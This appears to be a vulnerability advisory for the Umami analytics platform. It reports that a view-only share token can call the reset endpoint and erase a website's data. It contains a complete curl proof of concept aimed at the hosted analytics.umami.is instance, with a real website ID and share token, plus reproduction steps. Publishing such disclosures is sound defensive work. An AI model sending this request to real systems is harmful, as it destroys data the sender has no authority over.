Beschreibung

### Summary Anyone with a share link (permissions to view) can reset the website data. ### Details When a user navigates to a `/share/` URL, he receives a share token which is used for authentication. This token is later verified by `useAuth`. After the token is verified, the user can call most of the `GET` APIs that allow fetching stats about a website. The `POST /reset` endpoint is secured using `canViewWebsite` which is the incorrect verification for such destructive action. This makes it possible to completly reset all website data ONLY with view permissions - [permalink](https://github.com/umami-software/umami/blob/7bfbe264852558a148c7741f8637ff2b266d48cd/pages/api/websites/%5Bid%5D/reset.ts#L22) ### PoC ```bash curl -X POST 'https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset' \ -H 'authority: analytics.umami.is' \ -H 'accept: application/json' \ -H 'accept-language: en-US,en;q=0.9' \ -H 'authorization: Bearer undefined' \ -H 'cache-control: no-cache' \ -H 'content-type: application/json' \ -H 'pragma: no-cache' \ -H 'referer: https://analytics.umami.is/share/bw6MFhkwpwEXFsbd/test' \ -H 'sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"' \ -H 'sec-ch-ua-mobile: ?0' \ -H 'sec-ch-ua-platform: "Linux"' \ -H 'sec-fetch-dest: empty' \ -H 'sec-fetch-mode: cors' \ -H 'sec-fetch-site: same-origin' \ -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36' \ -H 'x-umami-share-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3ZWJzaXRlSWQiOiJiODI1MDYxOC1jY2I1LTQ3ZmItODM1MC0zMWM5NjE2OWExOTgiLCJpYXQiOjE2OTAzNjkxOTl9.zTfwFrfggE5na7rOOgkUobEBm48AH_8WVyh2RgJGzcw' \ --compressed ``` You can reproduce this by: * Accessing a website using it's share link * Copy the `token` received from the the received from the `GET /share/{website-id}` * Send a POST request to `https://analytics.umami.is/api/websites/b8250618-ccb5-47fb-8350-31c96169a198/reset` with `x-umami-share-token: ` header equal to the token copied in the previous step * The website data is now cleared ### Impact Everyone with an open share link exposed to the internet!
